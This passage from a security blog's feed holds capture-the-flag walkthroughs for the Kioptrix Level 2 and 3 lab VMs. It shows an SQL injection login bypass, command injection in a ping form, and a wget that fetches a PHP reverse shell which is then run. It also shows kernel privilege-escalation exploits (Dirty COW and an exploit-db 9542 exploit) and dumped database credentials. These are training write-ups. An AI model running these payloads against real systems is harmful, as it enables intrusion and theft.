After :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixxSFSqzQD63EDruNcYO5uBxKY_ai99z-h1Fe8DSW3oy8Tja9vvhyphenhyphenReC9Luz5G3X8nzobN_S_qvWKEcp4it98i8CZwt8mBl3OIRCSsnCrjA8MyP4EEzUO1tvFhTPdiln2LTYlYf6wGuo8/s1600/src9.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;164&quot; data-original-width=&quot;660&quot; height=&quot;99&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixxSFSqzQD63EDruNcYO5uBxKY_ai99z-h1Fe8DSW3oy8Tja9vvhyphenhyphenReC9Luz5G3X8nzobN_S_qvWKEcp4it98i8CZwt8mBl3OIRCSsnCrjA8MyP4EEzUO1tvFhTPdiln2LTYlYf6wGuo8/s400/src9.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
and press F2 to save.&lt;br /&gt;
&lt;br /&gt;
Now just run the command `sudo su`&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; loneferret@Kioptrix3:~$ sudo su
 root@Kioptrix3:/home/loneferret# whoami
 root
&lt;/code&gt;&lt;/pre&gt;
Thats it, we get the root shell!!&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; Congrats.txt  ht-2.0.18
 root@Kioptrix3:~# cat Congrats.txt
 Good for you for getting here.
 Regardless of the matter (staying within the spirit of the game of course)
 you got here, congratulations are in order. Wasn&#39;t that bad now was it.
 
 Went in a different direction with this VM. Exploit based challenges are
 nice. Helps workout that information gathering part, but sometimes we
 need to get our hands dirty in other things as well.
 Again, these VMs are beginner and not intented for everyone.
 Difficulty is relative, keep that in mind.
 
 The object is to learn, do some research and have a little (legal)
 fun in the process.
 
 
 I hope you enjoyed this third challenge.
 
 Steven McElrea
 aka loneferret
 http://www.kioptrix.com
 
 
 Credit needs to be given to the creators of the gallery webapp and CMS used
 for the building of the Kioptrix VM3 site.
 
 Main page CMS:
 http://www.lotuscms.org
 
 Gallery application:
 Gallarific 2.1 - Free Version released October 10, 2009
 http://www.gallarific.com
 Vulnerable version of this application can be downloaded
 from the Exploit-DB website:
 http://www.exploit-db.com/exploits/15891/
 
 The HT Editor can be found here:
 http://hte.sourceforge.net/downloads.html
 And the vulnerable version on Exploit-DB here:
 http://www.exploit-db.com/exploits/17083/
 
 
 Also, all pictures were taken from Google Images, so being part of the
 public domain I used them.
 
 root@Kioptrix3:~#
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Method 2 :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
We are using this method within the reverse shell obtained by LotusCMS exploit.&lt;br /&gt;
&lt;br /&gt;
First check the version of OS and Kernel&lt;br /&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cat /etc/issue
 Ubuntu 8.04.3 LTS \n \l
 
 $ cat /etc/*-release
 DISTRIB_ID=Ubuntu
 DISTRIB_RELEASE=8.04
 DISTRIB_CODENAME=hardy
 DISTRIB_DESCRIPTION=&quot;Ubuntu 8.04.3 LTS&quot;
 
 $ uname -a
 Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
 
 $ cat /proc/version
 Linux version 2.6.24-24-server (buildd@palmer) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) #1 SMP Tue Jul 7 20:21:17 UTC 2009
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
So the kernel version is 2.6.24, now for searching exploit for Linux kernel 2.6.24 i found following exploit&amp;nbsp; :&amp;nbsp; &lt;a href=&quot;https://www.exploit-db.com/exploits/40839&quot;&gt;https://www.exploit-db.com/exploits/40839&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
According to the documentation the exploit creates a new user &#39;firefart&#39; with root privilege, download it and test it.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cd /tmp
 
 $ wget wget 192.168.1.3:8000/exploit.c
 
 $ gcc -pthread exploit.c -o exploit -lcrypt
 exploit.c:193:2: warning: no newline at end of file
 
 $ ./exploit
 ./exploit
 /etc/passwd successfully backed up to /tmp/passwd.bak
 Please enter the new password: 12345
 
 Complete line:
 firefart:fi3LLch28IK7A:0:0:pwned:/root:/bin/bash
 
 mmap: b7fe0000
 madvise 0
 
 ptrace 0
 Done! Check /etc/passwd to see if the new user was created.
 You can log in with the username &#39;firefart&#39; and the password &#39;12345&#39;.
 
 
 DON&#39;T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
 Done! Check /etc/passwd to see if the new user was created.
 You can log in with the username &#39;firefart&#39; and the password &#39;12345&#39;.
 
 
 DON&#39;T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
Exploits seems to works, now try to login with new user &quot;firefart&quot; with password 12345&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ su firefart
 Password: 12345
 
 firefart@Kioptrix3:/tmp# cd /root
 
 firefart@Kioptrix3:~# ls
 Congrats.txt  ht-2.0.18
 
 firefart@Kioptrix3:~# cat Congrats.txt
 Good for you for getting here.
 Regardless of the matter (staying within the spirit of the game of course)
&lt;/code&gt;&lt;/pre&gt;
We can access the /root directory.&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/06/kioptrix-level-12-3-ctf-vm-walkthrough.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgOv8osxEkMmymd1nVQwjLw22x5jNkhIcNF3g-va9O2LpfOKfeVrhZpED3PXdFwpidx78YrkYp9sXlKJJluHRJSLT4U-AFr2VUM0ccnkrglCh2KbZ4aVp3R2NpNk9z_hjHKR81qD1K-gc/s72-c/sc.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-5227486409510010182</guid><pubDate>Wed, 10 Jun 2020 18:19:00 +0000</pubDate><atom:updated>2020-06-10T11:19:36.381-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CTF</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">kali-linux</category><category domain="http://www.blogger.com/atom/ns#">kioptrix</category><category domain="http://www.blogger.com/atom/ns#">Metasploit-framework</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">VulnHub</category><title>Kioptrix: Level 1.1 (#2) CTF VM WalkThrough</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;VM :&amp;nbsp;Kioptrix: Level 1.1&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWMMCzEfpbA971hX8-e6_nHR8hMsVfw88yLmCqHKgAh55Vgc6v090J_E2Jq8ixogj33W1m79aTmgdBst_w7Zz_D7gV4SulvONVrrDLphuDT6rFuHpI0HK3ErdAy0aAvbCXh71hDtl8lck/s1600/sc.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;242&quot; data-original-width=&quot;414&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWMMCzEfpbA971hX8-e6_nHR8hMsVfw88yLmCqHKgAh55Vgc6v090J_E2Jq8ixogj33W1m79aTmgdBst_w7Zz_D7gV4SulvONVrrDLphuDT6rFuHpI0HK3ErdAy0aAvbCXh71hDtl8lck/s320/sc.png&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Download Link :&amp;nbsp;&lt;a href=&quot;https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar&quot;&gt;https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Nmap Scan :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; # Nmap 7.80 scan initiated Thu Apr 16 13:44:53 2020 as: nmap -A -oN nmap.scan 192.168.1.4                                                                                                                  [0/1246]
 Nmap scan report for 192.168.1.4
 Host is up (0.00042s latency).
 Not shown: 994 closed ports
 PORT     STATE SERVICE    VERSION
 22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
 | ssh-hostkey:
 |   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
 |   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
 |_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
 |_sshv1: Server supports SSHv1
 80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
 |_http-server-header: Apache/2.0.52 (CentOS)
 |_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).
 111/tcp  open  rpcbind    2 (RPC #100000)
 443/tcp  open  ssl/https?
 |_ssl-date: 2020-04-16T10:36:08+00:00; -3h09m42s from scanner time.
 | sslv2:
 |   SSLv2 supported
 |   ciphers:
 |     SSL2_RC4_128_EXPORT40_WITH_MD5
 |     SSL2_RC4_128_WITH_MD5
 |     SSL2_DES_64_CBC_WITH_MD5
 |     SSL2_DES_192_EDE3_CBC_WITH_MD5
 |     SSL2_RC2_128_CBC_WITH_MD5
 |     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
 |_    SSL2_RC4_64_WITH_MD5
 631/tcp  open  ipp        CUPS 1.1
 | http-methods:
 |_  Potentially risky methods: PUT
 |_http-server-header: CUPS/1.1
 |_http-title: 403 Forbidden
 3306/tcp open  mysql      MySQL (unauthorized)
 Device type: general purpose
 Running: Linux 2.6.X
 OS CPE: cpe:/o:linux:linux_kernel:2.6
 OS details: Linux 2.6.9 - 2.6.27
 Network Distance: 2 hops
 
 Host script results:
 |_clock-skew: -3h09m42s
 
 TRACEROUTE (using port 256/tcp)
 HOP RTT     ADDRESS
 1   0.05 ms 172.17.0.1
 2   0.32 ms 192.168.1.4
 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 # Nmap done at Thu Apr 16 13:46:48 2020 -- 1 IP address (1 host up) scanned in 115.94 seconds
&lt;/code&gt;&lt;/pre&gt;
Open ports are :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; 22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
 80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
 111/tcp  open  rpcbind    2 (RPC #100000)
 443/tcp  open  ssl/https?
 631/tcp  open  ipp        CUPS 1.1
 3306/tcp open  mysql      MySQL (unauthorized)
&lt;/code&gt;&lt;/pre&gt;
port 80 is open. There is a web page&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3v42JYZQ6xAKJy61uMopEIozBlasyTEN8PpKhxCD4GQLZM6K4Y1zUFFEknoDcGoUwg1oZ7M6dy6EdE6YNmkM1N4VqWwy9IOhRkCGbBoRLpbIGoAh61AILaRp74aWno-KOSqhSIQiQOpA/s1600/sc1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;179&quot; data-original-width=&quot;346&quot; height=&quot;165&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3v42JYZQ6xAKJy61uMopEIozBlasyTEN8PpKhxCD4GQLZM6K4Y1zUFFEknoDcGoUwg1oZ7M6dy6EdE6YNmkM1N4VqWwy9IOhRkCGbBoRLpbIGoAh61AILaRp74aWno-KOSqhSIQiQOpA/s320/sc1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
There may be an sql injection vulnerability. I tried to find sql injection with sqlmap, but it did not find anything.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ sqlmap -u &quot;http://192.168.1.4/index.php&quot; --data=&quot;uname=admin&amp;amp;psw=12345&amp;amp;btnLogin=Login&quot;
&lt;/code&gt;&lt;/pre&gt;
But after try to find manually with burp repeater, there is a sql injection vulnerability in `psw` field, which can be exploited by putting `&#39; or 1=&#39;1 --+` in password field. and it loads another page where we can ping any device within the network.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzYq1AgWn1ZcH26b4fmnhaDYj5TqgmWuQPfhYLH6s_sZJzCc8WL_cea3bhMbvb4HiQh2cFNj8HwaZUEQif098Iyeok8bZb1IaIsTTFGQW3pbIkaaU_Llyhe9rkC4lqEZtBPSuWlld2nag/s1600/sc2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;96&quot; data-original-width=&quot;651&quot; height=&quot;47&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzYq1AgWn1ZcH26b4fmnhaDYj5TqgmWuQPfhYLH6s_sZJzCc8WL_cea3bhMbvb4HiQh2cFNj8HwaZUEQif098Iyeok8bZb1IaIsTTFGQW3pbIkaaU_Llyhe9rkC4lqEZtBPSuWlld2nag/s320/sc2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI82MSTJ-41jbYvI9xNkJXciKodyOPHqouVp8L54aq-lQXKMk1Ka-16-DtlE5MDFUa00vKAbEggS9oyVx_PKb4-OvsT5UUExYkOlx0onZXdjLzfQ_uhL6H20Tq9yos-gy_-bFILlmDLZQ/s1600/sc3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;82&quot; data-original-width=&quot;627&quot; height=&quot;41&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI82MSTJ-41jbYvI9xNkJXciKodyOPHqouVp8L54aq-lQXKMk1Ka-16-DtlE5MDFUa00vKAbEggS9oyVx_PKb4-OvsT5UUExYkOlx0onZXdjLzfQ_uhL6H20Tq9yos-gy_-bFILlmDLZQ/s320/sc3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; 192.168.1.10
 PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
 64 bytes from 192.168.1.10: icmp_seq=0 ttl=64 time=55.5 ms
 64 bytes from 192.168.1.10: icmp_seq=1 ttl=64 time=3.62 ms
 64 bytes from 192.168.1.10: icmp_seq=2 ttl=64 time=1.08 ms
 
 --- 192.168.1.10 ping statistics ---
 3 packets transmitted, 3 received, 0% packet loss, time 2002ms
 rtt min/avg/max/mdev = 1.087/20.070/55.501/25.074 ms, pipe 2
&lt;/code&gt;&lt;/pre&gt;
A this functionality, there is possibility for command injection, try to execute command by providing within the ip address&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ip_address;commad
&lt;/code&gt;&lt;/pre&gt;
For example&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; 192.168.1.10;ls
&lt;/code&gt;&lt;/pre&gt;
And as expected it returns the filenames on current directory.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; 192.168.1.10;ls
 PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
 64 bytes from 192.168.1.10: icmp_seq=0 ttl=64 time=54.0 ms
 64 bytes from 192.168.1.10: icmp_seq=1 ttl=64 time=3.52 ms
 64 bytes from 192.168.1.10: icmp_seq=2 ttl=64 time=1.17 ms
 
 --- 192.168.1.10 ping statistics ---
 3 packets transmitted, 3 received, 0% packet loss, time 2001ms
 rtt min/avg/max/mdev = 1.175/19.587/54.059/24.394 ms, pipe 2
 index.php
 pingit.php
&lt;/code&gt;&lt;/pre&gt;
Another example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; 192.168.1.10;ls -al;pwd;whoami
 PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
 64 bytes from 192.168.1.10: icmp_seq=0 ttl=64 time=57.1 ms
 64 bytes from 192.168.1.10: icmp_seq=1 ttl=64 time=1.18 ms
 64 bytes from 192.168.1.10: icmp_seq=2 ttl=64 time=1.17 ms
 
 --- 192.168.1.10 ping statistics ---
 3 packets transmitted, 3 received, 0% packet loss, time 2001ms
 rtt min/avg/max/mdev = 1.173/19.832/57.144/26.383 ms, pipe 2
 total 24
 drwxr-xr-x  2 root root 4096 Oct  8  2009 .
 drwxr-xr-x  8 root root 4096 Oct  7  2009 ..
 -rwxr-Sr-t  1 root root 1733 Feb  9  2012 index.php
 -rwxr-Sr-t  1 root root  199 Oct  8  2009 pingit.php
 /var/www/html
 apache
&lt;/code&gt;&lt;/pre&gt;
The user is : apache, dirctory is /var/www/html, all the files are root privileged.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;Getting a remote shell :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
We are going to use php reverse shell from pentestmonkey.net : &lt;a href=&quot;http://pentestmonkey.net/tools/web-shells/php-reverse-shell&quot;&gt;http://pentestmonkey.net/tools/web-shells/php-reverse-shell&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Download it from there page and change the $ip and $port to your local system.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; set_time_limit (0);
 $VERSION = &quot;1.0&quot;;
 $ip = &#39;192.168.1.3&#39;;  // CHANGE THIS
 $port = 1234;       // CHANGE THIS
 $chunk_size = 1400;
 $write_a = null;
 $error_a = null;
 $shell = &#39;uname -a; w; id; /bin/sh -i&#39;;
 $daemon = 0;
 $debug = 0;
&lt;/code&gt;&lt;/pre&gt;
Now to upload this php file we use series of commands. First start a server to host the bd.php(i renamed the reverse shell php file) file. We can use a simple python server&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; python -m SimpleHTTPServer 8000
&lt;/code&gt;&lt;/pre&gt;
Commands to upload file&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; cd /tmp                               # change dirctory to tmp
 wget http://192.168.1.3:8000/bd.php   # downlaod backdoor file
 php -f bd.php                         # execute file
&lt;/code&gt;&lt;/pre&gt;
Remember we cant download file on webroot directory, because it is root privileged, and the ping command is executed by user apache. Before execute the commands first start the listener on local machine&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nc -lvvp 1234
 Listening on [0.0.0.0] (family 0, port 1234)
&lt;/code&gt;&lt;/pre&gt;
Command :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; 192.168.1.10;cd /tmp/wget http://192.168.1.3:8000/bd.php;php -f bd.php
&lt;/code&gt;&lt;/pre&gt;
After the execution we can get a reverse shell on listener&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nc -lvvp 1234
 Listening on [0.0.0.0] (family 0, port 1234)
 Connection from 192.168.1.4 45265 received!
 Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
  12:21:07 up  6:17,  0 users,  load average: 0.00, 0.00, 0.00
 USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
 uid=48(apache) gid=48(apache) groups=48(apache)
 sh: no job control in this shell
 sh-3.00$
 sh-3.00$ whoami
 apache
&lt;/code&gt;&lt;/pre&gt;
And we can get the reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Kernel Privilege Escalation :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Examining the OS and Kernel version&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; sh-3.00# uname -a
 Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
 sh-3.00# cat /etc/*-release
 CentOS release 4.5 (Final)
&lt;/code&gt;&lt;/pre&gt;
A google search for kernel 2.6 exploit&quot; give the exploit for kernel 2.6.22 less then is found from here :  &lt;a href=&quot;https://www.exploit-db.com/exploits/9542&quot;&gt;https://www.exploit-db.com/exploits/9542&lt;/a&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wget https://www.exploit-db.com/raw/9542
 $ mv 9542 peroot.c
&lt;/code&gt;&lt;/pre&gt;
Now downloading it into the Kioptrix&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; sh-3.00$ cd /tmp
 sh-3.00$ wget http://192.168.1.3:8000/peroot.c
 sh-3.00$ gcc peroot.c -o peroot
 dirty.c:109:28: warning: no newline at end of file
 sh-3.00$ ./peroot
 sh-3.00# whoami
 root
&lt;/code&gt;&lt;/pre&gt;
It gives the root access.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Examining Files :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
By examine php files from webroot directory we find the user &#39;john&#39; and its password &#39;hiroshima&#39; on mysql_connect() function.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; sh-3.00# cd /var/www/html
 sh-3.00# ls
 index.php
 pingit.php
 sh-3.00# cat index.php
 &amp;lt;?php
     mysql_connect(&quot;localhost&quot;, &quot;john&quot;, &quot;hiroshima&quot;) or die(mysql_error());
     //print &quot;Connected to MySQL&amp;lt;br /&amp;gt;&quot;;
     mysql_select_db(&quot;webapp&quot;);
 
     if ($_POST[&#39;uname&#39;] != &quot;&quot;){
         $username = $_POST[&#39;uname&#39;];
         $password = $_POST[&#39;psw&#39;];
         $query = &quot;SELECT * FROM users WHERE username = &#39;$username&#39; AND password=&#39;$password&#39;&quot;;
         //print $query.&quot;&amp;lt;br&amp;gt;&quot;;
 ...
 ...
 ...
&lt;/code&gt;&lt;/pre&gt;
By using john credentials we can&#39;t access the system with ssh, but we can access the mysql database. Now try to execute command in mysql :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; sh-3.00# mysql -u john -phiroshima -e &#39;show databases;&#39;
 Database
 mysql
 test
 webapp
 sh-3.00# mysql -u john -phiroshima -e &#39;use webapp;show tables;&#39;
 Tables_in_webapp
 users
 sh-3.00# mysql -u john -phiroshima -e &#39;use webapp;select * from users;&#39;
 id username password
 1   admin   5afac8d85f
 2   john    66lajGGbla
